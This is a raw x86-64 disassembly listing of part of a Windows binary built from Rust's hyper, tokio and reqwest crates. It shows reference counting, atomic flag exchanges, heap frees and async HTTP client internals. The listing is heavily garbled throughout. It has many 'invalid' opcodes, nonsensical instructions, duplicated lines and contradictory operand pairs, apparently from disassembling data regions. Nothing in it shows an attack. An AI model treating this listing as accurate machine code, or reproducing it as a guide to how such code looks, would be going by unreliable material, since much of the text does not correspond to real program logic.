mov rax, qword [rsi + 0x30]
test rax, rax
je 0x140066862
lock dec qword [rax]
jne 0x140066862
add rsi, 0x30
mov rcx, rsi
call fcn.1400cb9d0
mov rsi, qword [rdi]
test rsi, rsi
je 0x14006690a
mov bl, 1
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x14006689e
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
xor edx, edx
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x14006689e
call qword [rax + 0x18]
xchg byte [rsi + 0x78], bl
test bl, bl
jne 0x1400668c2
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x1400668fc
xor edx, edx
xchg byte [rsi + 0x78], dl
call qword [rax + 8]
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14006690a
mov rcx, rdi
movaps xmm6, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm8, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400cb680
xor eax, eax
xchg byte [rsi + 0x78], al
mov rax, qword [rdi]
lock dec qword [rax]
je 0x1400668cb
movaps xmm6, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm8, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp rdi, qword [rsp + 0x28]
ja 0x14006695b
jmp 0x140066616
add r15, 8
dec r14
je 0x140066616
mov rdi, qword [r15]
mov al, 1
xchg byte [rdi + 0x80], al
mov al, 1
xchg byte [rdi + 0x60], al
test al, al
je 0x140066983
mov al, 1
xchg byte [rdi + 0x78], al
test al, al
je 0x1400669b9
mov rax, qword [r15]
lock dec qword [rax]
jne 0x14006694e
jmp 0x1400669e3
mov rax, qword [rdi + 0x50]
mov rcx, qword [rdi + 0x58]
mov qword [rdi + 0x50], 0
test rax, rax
je 0x1400669ab
xor edx, edx
xchg byte [rdi + 0x60], dl
call qword [rax + 8]
mov al, 1
xchg byte [rdi + 0x78], al
test al, al
jne 0x140066978
jmp 0x1400669b9
xor eax, eax
xchg byte [rdi + 0x60], al
mov al, 1
xchg byte [rdi + 0x78], al
test al, al
jne 0x140066978
mov rax, qword [rdi + 0x68]
mov rcx, qword [rdi + 0x70]
mov qword [rdi + 0x68], 0
test rax, rax
je 0x1400669d1
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x78], al
mov rax, qword [r15]
lock dec qword [rax]
jne 0x14006694e
mov rcx, r15
call fcn.1400cb680
xchg ebp, eax
invalid
invalid
add cl, ch
pop rsi
invalid
invalid
invalid
call fcn.14012bf20
test al, al
jne 0x1400667f0
test ebx, esi
std
invalid
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x11], 1
jmp 0x1400667f0
add r12, 8
dec rbx
je 0x140066942
and bh, bh
invalid
invalid
and bh, bh
invalid
mov r13, qword [r12]
mov al, 1
xchg byte [r13 + 0x80], al
mov al, 1
xchg byte [r13 + 0x60], al
test al, al
je 0x140066a4f
mov al, 1
xchg byte [r13 + 0x78], al
test al, al
je 0x140066a89
mov rax, qword [r12]
lock dec qword [rax]
jne 0x140066a15
jmp 0x140066ab5
mov rax, qword [r13 + 0x50]
mov rcx, qword [r13 + 0x58]
mov qword [r13 + 0x50], 0
test rax, rax
je 0x140066a79
xor edx, edx
xchg byte [r13 + 0x60], dl
call qword [rax + 8]
push rax
or byte [rax + 0x45864101], dh
js 0x1400669f8
invalid
jne 0x140066a43
push rax
or byte [rax + 0x45864101], dh
js 0x1400669f8
sal byte [rbp - 0x34], 0xeb
adc byte [rcx], dh
rol byte [rcx - 0x7a], 0x45
invalid
jmp 0x140066a89
xor eax, eax
xchg byte [r13 + 0x60], al
mov al, 1
xchg byte [r13 + 0x78], al
test al, al
jne 0x140066a43
mov rax, qword [r13 + 0x68]
mov rcx, qword [r13 + 0x70]
mov qword [r13 + 0x68], 0
test rax, rax
test eax, eax
test eax, eax
je 0x140066aa1
call qword [rax + 0x18]
xor eax, eax
xchg byte [r13 + 0x78], al
mov rax, qword [r12]
lock dec qword [rax]
and al, 0xf0
dec qword [rax]
jne 0x140066a15
mov rcx, r12
call fcn.1400cb680
jmp 0x140066a15
lea eax, [0x14015a450]
mov edx, 0x14
call fcn.140122a20
or eax, dword [rax]
lea rcx, str.Out_of_bounds_access
lea r8, [0x14015a438]
add byte [rdx + 0x14], bh
add byte [rdx + 0x14], bh
call fcn.140122a20
lea rcx, str.assertion_failed:_i___self.len___b
lea r8, [0x14015a488]
lea eax, [0x14015a488]
outsd dx, dword [rsi]
cmp dword [rdi], ecx
str word [rbp + rcx*4 + 5]
str word [rbp + rcx*4 + 5]
lea eax, [0x14015a488]
mov byte [rcx], bh
invalid
mov edx, 0x20
call fcn.140122660
lea rcx, str.assertion_failed:_j___self.len___b
lea r8, [0x14015a4c0]
add byte [rdx + 0x20], bh
add byte [rdx + 0x20], bh
add byte [rax], al
add al, ch
mov ebx, 0xcccc000b
int3
int3
call fcn.140122660
int3
int3
int3
sub esp, 0x28
movzx eax, byte [rcx + 0x2a0]
cmp rax, 5
ja case.0x140066b58.1
xchg dword [rcx + 1], edx
add byte [rax], al
xchg dword [rcx + 1], edx
add byte [rax], al
mov rsi, rcx
lea rcx, [0x140194280]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
cmp byte [rsi], 2
jb 0x140066b87
add dh, byte [rdx + 0x28]
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0x1386dc
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0x1386dc
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov ecx, 0x48000c88
mov eax, dword [rsi + 0x10]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x20]
add rsi, 0x28
mov rcx, rsi
add rsp, 0x28
invalid
pop rdi
sub byte [rdi + 0x5e], bl
pop rsi
jmp rax
mov rax, qword [rsi + 0x2b0]
lea rdx, [rax - 6]
cli
cli
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x140066c4b
test rcx, rcx
leave
jne 0x140066c73
add byte [rax - 0x73], cl
invalid
lea rcx, [rsi + 0x2b8]
call fcn.14005d190
jmp 0x140066c73
add al, ch
mov dl, 0x65
invalid
cmp dword [rsi + 0x2e8], 9
add byte [rcx], cl
je 0x140066c8f
lea rcx, [rsi + 0x2a8]
lea ecx, [rsi + 0x2a8]
call fcn.140066280
mov rax, qword [rsi + 0x2e8]
lea rdx, [rax - 6]
cmp rdx, 3
cmp edx, 3
cmp edx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x140066c9f
test byte [rcx + 0x48000000], al
test ecx, ecx
test rcx, rcx
jne 0x140066c8f
lea rcx, [rsi + 0x2f0]
call fcn.14005d190
jmp 0x140066c8f
lea rcx, [rsi + 0x2b0]
call fcn.140066280
mov byte [rsi + 0x2a4], 0
mov edi, 0x2a5
jmp 0x140066c7f
cmp eax, 5
jne 0x140066c67
cmp byte [rsi + 0x328], 3
je 0x140066c73
invalid
sbb cl, byte [rax - 0x73]
invalid
lea rcx, [rsi + 0x2b8]
call fcn.14005da90
jmp 0x140066c73
lea rcx, [rsi + 0x2b0]
call fcn.14005d2e0
mov byte [rsi + 0x2a2], 0
mov edi, 0x2a3
mov rcx, qword [rsi + 0x2a8]
mov ecx, dword [rsi + 0x2a8]
call fcn.14005cd00
mov byte [rsi + rdi], 0
mov word [rsi + 0x2a6], 0
add rsp, 0x28
pop rdi
pop rsi
ret
cmp eax, 5
jne 0x140066cbb
cmp byte [rsi + 0x360], 3
je 0x140066c8f
lea rcx, [rsi + 0x2f0]
call fcn.14005da90
jmp 0x140066c8f
lea rcx, [rsi + 0x2e8]
call fcn.14005d2e0
jmp 0x140066c8f
clc
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x140067890
call fcn.14002ded0
mov rax, qword [rdi + 0x48]
test rax, rax
je 0x1400678a0
mov rcx, qword [rdi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi + 0x28]
lea rax, [r8 + 1]
cmp rax, 2
jae case.0x140057811.45
mov rdi, qword [rsi + 0x20]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x1400678f1
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
sbb byte [r8 - 0x39], r9b
adc byte [r8], r8b
add byte [rax], al
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfa9], cl
and byte [rax - 0x7b], cl
invalid
je 0x1400678f1
sbb byte [r8 - 0x39], r9b
adc byte [r8], r8b
add byte [rax], al
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfa9], cl
and byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
sbb byte [rsi - 0x247bc7a1], al
call qword [rax + 0x18]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140067915
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
xor byte [rax - 0x39], cl
sub byte [r8], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je case.0x140059890.22
sub byte [r8 - 0x75], r9b
xor byte [r8 - 0x39], r9b
xor byte [rax - 0x39], cl
xor byte [rax - 0x39], cl
sub byte [r8], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp + rdi + 0x31], 0xd2
xor edx, edx
xchg byte [rdi + 0x38], dl
call qword [rax + 8]
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140067959
mov rcx, qword [rsi + 0x20]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.14002e2a0
lock dec qword [r8 + 8]
jne 0x1400678c0
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400678c0
xor eax, eax
xchg byte [rdi + 0x38], al
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
je 0x14006791f
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa70
movaps xmmword [rsp + 0xa60], xmm6
mov ah, 0x24
invalid
or al, byte [rax]
add byte [rax - 0x77], cl
xlatb
mov rsi, rcx
invalid
movzx eax, byte [rcx + 0xa58]
lea rcx, [0x140194298]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ah, 0x24
invalid
invalid
lea rdx, [rsi + 0x10]
movups xmm6, xmmword [rsi]
adc byte [rsi], dh
adc byte [rsi], dh
mov byte [rsi + 0xa59], 1
mov rax, qword [rsi + 0x530]
mov qword [rsi + 0xa60], rax
lea rcx, [rsi + 0xa68]
lea ecx, [rsi + 0xa68]
lea ecx, [rsi + 0xa68]
mov r8d, 0x520
call fcn.140121660
movups xmmword [rsi + 0xf88], xmm6
lea r14, [rsi + 0xa68]
lea rcx, [rsp + 0x20]
mov rdx, r14
mov r8, rdi
clc
clc
call fcn.140068050
cmp dword [rsp + 0x20], 5
jne 0x1400679fe
mov al, 1
mov cl, 3
add ebp, ecx
push rcx
add dword [rax], eax
invalid
add ebp, ecx
push rcx
add dword [rax], eax
add byte [rax - 0x73], cl
sahf
cmp byte [0xcd4e7a07], al
push rsp
and al, 0x20
lea rbx, [rsi + 0x538]
lea rdx, [rsp + 0x20]
mov r8d, 0x520
mov rcx, rbx
call fcn.140121660
mov rax, qword [rsi + 0xf88]
cmp rax, 3
je 0x140067a46
cmp dword [r14], 3
je 0x140067a3a
add esi, dword [rdi + rcx + 0x4c]
mov ecx, esi
mov rcx, r14
call fcn.14005dc30
mov rax, qword [rsi + 0xf88]
test rax, 0xfffffffffffffffd
jne 0x140067bfe
cmp dword [rbx], 4
je 0x140067af3
add al, 0xf
test byte [rax + rax - 0x72b80000], ah
mov word [rax + rax*2], fs
add eax, 0xb8410000
and byte [0xc94e7a5f], al
invalid
lea rcx, [rsp + 0x540]
mov r8d, 0x520
mov rdx, rbx
call fcn.140121660
mov byte [rsi + 0xa59], 0
or al, byte [rax]
add byte [rax], al
or al, byte [rax]
add byte [rax], al
mov rbx, qword [rsi + 0xa60]
mov bpl, 1
mov al, 1
xchg byte [rbx + 0x40], al
mov al, 1
xchg byte [rbx + 0x20], al
test al, al
je 0x140067bcb
xchg byte [rbx + 0x38], bpl
test bpl, bpl
je 0x140067c89
test ah, dh
add dword [rax], eax
invalid
test ah, dh
add dword [rax], eax
add byte [rbp + rcx*4 - 0x4a], cl
invalid
lea r14, [rsi + 0xa60]
lock dec qword [rbx]
jne 0x140067aaa
mov rcx, rbx
call fcn.14002e2a0
cld
invalid
cld
dec dword [rax - 0x73]
xchg esp, eax
and al, 0x40
add eax, 0xb8410000
and byte [0xc9527aba], al
int1
lea rdx, [rsp + 0x540]
mov r8d, 0x520
mov rcx, r14
call fcn.140121660
lea rbx, [rsi + 0xa60]
mov rcx, rbx
mov rdx, rdi
call fcn.14009e650
cmp al, 2
jne 0x140067adc
mov al, 1
mov cl, 4
jmp 0x140067b4f
cmp dword [rbx], 3
je 0x140067ae9
mov rcx, rbx
call fcn.14005dc30
cmp qword [rsi + 0x538], 4
jne 0x140067afc
test byte [rsi + 0x548], 1
jne 0x140067b6b
cmp byte [rsi + 0xa59], 0
je 0x140067b44
mov rdi, qword [rsi + 0xa60]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
je 0x140067ba1
xchg byte [rdi + 0x38], bl
test bl, bl
je case.0x140057a1f.31
mov rax, qword [rsi + 0xa60]
lock dec qword [rax]
jne 0x140067b44
mov rcx, qword [rsi + 0xa60]
call fcn.14002e2a0
mov byte [rsi + 0xa59], 0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa58], cl
movaps xmm6, xmmword [rsp + 0xa60]
add rsp, 0xa70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rdi, [rsi + 0x550]
mov rcx, rdi
stc
stc
call fcn.1400a4b20
mov rax, qword [rsi + 0x550]
test rax, rax
je 0x140067afc
lock dec qword [rax]
jne 0x140067afc
mov rcx, qword [rdi]
call case.0x1400aa0a2.141
jmp 0x140067afc
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
test rax, rax
je 0x140067c34
xor edx, edx
xchg byte [rdi + 0x20], dl
call qword [rax + 8]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140067b2b
jmp case.0x140057a1f.31
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
test rax, rax
je 0x140067c77
xor edx, edx
xchg byte [rbx + 0x20], dl
call qword [rax + 8]
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x140067a95
invalid
pushfq
invalid
invalid
invalid
test dword [rsi + rdi*8 - 0x74160001], ebx
add byte [rax], al
add byte [rbp + rcx*4 - 0x4a], cl
mov dh, 0x90
jmp 0x140067c89
lea r14, [rsi + 0xf90]
mov dh, 0x90
sldt word [rax]
mov rcx, r14
call fcn.1400a4b20
mov rax, qword [rsi + 0xf90]
test rax, rax
je 0x140067a46
lock dec qword [rax]
jne 0x140067a46
invalid
invalid
invalid
or byte [rdi], cl
test dword [rdi], ebx
invalid
mov rcx, qword [r14]
call case.0x1400aa0a2.141
jmp 0x140067a46
adc bh, dh
invalid
invalid
adc bh, dh
invalid
xor eax, eax
xchg byte [rdi + 0x20], al
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140067b2b
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x140067c5c
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
mov rax, qword [rsi + 0xa60]
invalid
or al, byte [rax]
add al, dh
dec qword [rax]
je 0x140067b38
invalid
invalid
invalid
invalid
jmp 0x140067b44
xor eax, eax
xchg byte [rbx + 0x20], al
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x140067a95
mov rax, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0x28], 0
add byte [rax - 0x7b], cl
invalid
je 0x140067ca1
sub byte [rax - 0x75], cl
xor byte [r8 - 0x39], cl
sub byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
sbb byte [rcx], dh
rol byte [rsi - 0x72b3c7bd], 0xb6
cmp byte [r13 + r9*4 - 0x4a], cl
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbx + 0x38], al
cmp byte [r13 + r9*4 - 0x4a], cl
invalid
or al, byte [rax]
add al, dh
dec qword [rbx]
or ecx, dword [rdi]
test bl, ch
std
invalid
invalid
cmp byte [r13 + r9*4 - 0x4a], cl
invalid
or ecx, dword [rdi]
test bl, ch
std
invalid
jmp 0x140067aaa
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2client.rs8
call fcn.140122c50
ud2
insd dword [rdi], dx
adc eax, dword [rax]
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
in al, dx
jo 0x140068572
add byte [rax], al
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rcx + 0x298]
add al, byte [rax]
invalid
test eax, eax
je 0x1400685fd
add al, byte [rax]
add byte [rbp - 0x7c858b40], al
clc
add ecx, dword [rdi]
test dword [rdi], ebx
invalid
cmp eax, 3
jne 0x140068bab
mov rax, qword [rsi + 0x288]
mov r15, qword [rsi + 0x290]
mov rbx, qword [rax]
sbb byte [rbx - 0x7bf0fdc5], al
mov al, 0
add byte [rax], al
sbb byte [rbx - 0x7bf0fdc5], al
mov al, 0
add byte [rax], al
lea rcx, [rsp + 0x28]
mov rdx, rbx
mov r8, rdi
call fcn.1400b5e40
mov r12, qword [rsp + 0x28]
cmp r12, 4
jne 0x140068699
mov r12, qword [rdi]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140068947
cmp eax, 1
je 0x140068974
xor ebx, ebx
xor r14d, r14d
jmp 0x1400689c4
mov byte [rsi + 0x299], 1
lea r15, [rsi + 0x140]
mov rax, qword [rsi + 0x138]
mov qword [rsi + 0x140], rax
lea rbx, [rsi + 0x148]
add qword [rax], rax
add byte [rcx - 0x48], al
cmp byte [rcx], al
add byte [rax], al
add qword [rax], rax
add byte [rcx - 0x48], al
cmp byte [rcx], al
add byte [rax], al
mov rcx, rbx
mov rdx, rsi
call fcn.140121660
lea rax, [rsi + 0x280]
mov qword [rsi + 0x280], rbx
mov qword [rsi + 0x288], rax
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x290], r15
cmp dword [rbx], 2
jne 0x1400685a6
add byte [rbx - 0x7af0fdc5], al
push rax
invalid
mov rax, qword [rbx + 8]
mov qword [rbx + 8], 0
test rax, rax
je 0x140068bb7
mov qword [rsp + 0x28], 3
mov dword [rsp + 0x28], 3
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0xc0]
mov r8d, 0x90
call fcn.140121660
mov r12d, 3
jmp 0x1400686c0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xc0]
mov r8d, 0x90
call fcn.140121660
cmp r12, 5
jne 0x1400686c0
mov cl, 3
mov al, 1
jmp 0x140068b86
lea rdi, [rsp + 0x150]
lea rdx, [rsp + 0xc0]
mov r8d, 0x90
mov rcx, rdi
call fcn.140121660
lea rcx, [rsp + 0x1e0]
mov r8d, 0x90
mov rdx, rdi
call fcn.140121660
mov byte [rsi + 0x299], 0
mov rdi, qword [rsi + 0x140]
test rdi, rdi
je 0x140068b9f
lea rbx, [rdi + 0x38]
mov rax, qword [rdi + 0x38]
cmp rax, 4
je 0x1400687b8
cmp eax, 3
jne 0x140068772
mov r14, qword [rdi + 0x40]
mov r15, qword [r14 + 0x58]
test r15, r15
je 0x140068765
mov r13, qword [r14 + 0x60]
mov rax, qword [r13]
test rax, rax
je 0x140068741
mov rcx, r15
call rax
cmp qword [r13 + 8], 0
je 0x140068765
cmp qword [r13 + 0x10], 0x11
jb 0x140068753
mov r15, qword [r15 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r14]
shl rax, 1
test rax, rax
je 0x1400687a6
jmp 0x140068793
mov rcx, rbx
call fcn.14005af70
lea rcx, [rdi + 0xa8]
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
call fcn.1400564c0
mov r14, qword [rdi + 0xc8]
add byte [rcx - 0x7d], cl
invalid
invalid
je 0x1400687a6
add byte [rcx - 0x7d], cl
add byte ds:[rbx + rdx + 0x4d], dh
mov eax, dword [rsi + 8]
mov r8, qword [r14 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov qword [rdi + 0x38], r12
lea r14, [rdi + 0x40]
lea rdx, [rsp + 0x1e0]
mov r8d, 0x90
mov rcx, r14
call fcn.140121660
mov rax, qword [rdi + 0x30]
nop word [rax + rax]
mov r15, rax
test r15b, 4
jne 0x1400687fb
mov rcx, r15
or rcx, 2
mov rax, r15
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400687e0
mov eax, r15d
and eax, 5
cmp eax, 1
jne 0x140068811
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
test r15b, 4
jne 0x140068857
mov qword [rsp + 0x28], 4
lock dec qword [rdi]
jne 0x14006882e
mov rcx, rdi
call fcn.1400ca900
mov rax, qword [rsp + 0x28]
cmp rax, 4
jne 0x14006888b
lea rcx, [rsi + 0x148]
call fcn.14005b8d0
cmp byte [rsi + 0x299], 0
jne 0x140068b20
jmp 0x140068b7b
mov r15, qword [rbx]
mov qword [rbx], 4
cmp r15, 4
je 0x140068bcf
lea rcx, [rsp + 0x30]
mov r8d, 0x90
mov rdx, r14
call fcn.140121660
mov qword [rsp + 0x28], r15
lock dec qword [rdi]
je 0x140068826
jmp 0x14006882e
cmp eax, 3
jne 0x1400688df
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x1400688d3
mov r14, qword [rdi + 0x60]
mov rax, qword [r14]
test rax, rax
je 0x1400688af
mov rcx, rbx
call rax
cmp qword [r14 + 8], 0
je 0x1400688d3
cmp qword [r14 + 0x10], 0x11
jb 0x1400688c1
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
neg rax
jo 0x140068917
jb 0x140068904
invalid
jmp 0x140068917
lea rcx, [rsp + 0x28]
call fcn.14005af70
lea rcx, [rsp + 0x98]
call fcn.1400564c0
mov rdi, qword [rsp + 0xb8]
add byte [rax - 0x7d], cl
invalid
invalid
je 0x140068917
add byte [rax - 0x7d], cl
invalid
mov r8, qword [rdi + 8]
mov rcx, qword [0x14019f258]
imul edx, dword [rbx], 0xffd23100
adc eax, 0xc6b29
imul edx, dword [rbx], 0xffd23100
adc eax, 0xc6b29
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x148]
add qword [rax], rax
add al, ch
wait
invalid
invalid
inc dword [rax + 0x299be]
add byte [rax], al
jne 0x140068b20
add qword [rax], rax
add al, ch
wait
invalid
jmp 0x140068b7b
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140070690]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x124]
movzx r14d, byte [rax + 0x125]
mov eax, r14d
cmp bl, 1
jne 0x1400689ab
test r14b, r14b
je 0x140068ad9
lea eax, [r14 - 1]
mov ecx, dword [0x14019f30c]
or eax, 0x13695b
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x125], al
mov r15, qword [r15]
test r15, r15
je 0x140068bdb
mov rax, qword [r15 + 0x30]
test al, 4
jne 0x140068af0
test al, 8
jne 0x1400689e6
test al, 8
je 0x140068a22
jmp 0x140068a57
mov rcx, qword [r15 + 0x18]
cmp rcx, qword [r12 + 8]
jne 0x1400689fb
mov rcx, qword [r15 + 0x10]
cmp rcx, qword [r12]
je 0x1400689e0
mov rax, qword [r15 + 0x30]
mov eax, dword [rdi + 0x30]
nop
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [r15 + 0x30], rcx
jne 0x140068a00
test al, 4
jne 0x140068aea
mov rax, qword [r15 + 0x10]
mov rcx, qword [r15 + 0x18]
call qword [rax + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], rdx
mov rax, qword [r15 + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 8
lock cmpxchg qword [r15 + 0x30], rcx
jne 0x140068a40
test al, 4
jne 0x140068af0
test bl, bl
je 0x1400686b7
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400686b7
cmp eax, 1
je 0x140068ab4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], bl
mov byte [rax + 0x125], r14b
jmp 0x1400686b7
mov rax, qword [r12]
mov rcx, qword [r12 + 8]
call qword [rax + 0x10]
jmp 0x1400686b7
lock or qword [r15 + 0x30], 8
or dword [rdi + 0x30], 8
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0xc0]
mov r8d, 0x90
call fcn.140121660
lea rcx, [rsi + 0x148]
mov cs, word [rax + 1]
add byte [rax], al
mov cs, word [rax + 1]
add byte [rax], al
call fcn.14005b8d0
cmp byte [rsi + 0x299], 0
add byte [rax], al
add byte [rax], al
je 0x140068b7b
mov rdx, qword [rsi + 0x140]
test rdx, rdx
je 0x140068b7b
mov rax, qword [rdx + 0x30]
mov rcx, rax
test cl, 4
jne 0x140068b4a
mov r8, rcx
or r8, 2
or eax, 2
or eax, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0x30], r8
jne 0x140068b30
and ecx, 5
cmp ecx, 1
jne 0x140068b5d
mov rax, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x28]
call qword [rax + 0x10]
invalid
adc byte [rax - 0x75], cl
xchg byte [rax + 1], al
add byte [rax], al
mov rax, qword [rsi + 0x140]
test rax, rax
je 0x140068b7b
lock dec qword [rax]
jne 0x140068b7b
mov rcx, qword [rsi + 0x140]
call fcn.1400ca900
mov byte [rsi + 0x299], 0
add al, byte [rax]
add byte [rax], al
mov cl, 1
xor eax, eax
mov byte [rsi + 0x298], cl
add rsp, 0x270
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140122a00
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140122c50
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
str word [rbp + rcx*4 + 5]
xor ecx, dword [rbp + 0xf]
add byte [rdx + 0x23], bh
call fcn.140122a20
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140122a00
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140122a00
int3
std
add rdx, 0xfffffffffffffffe
xor eax, eax
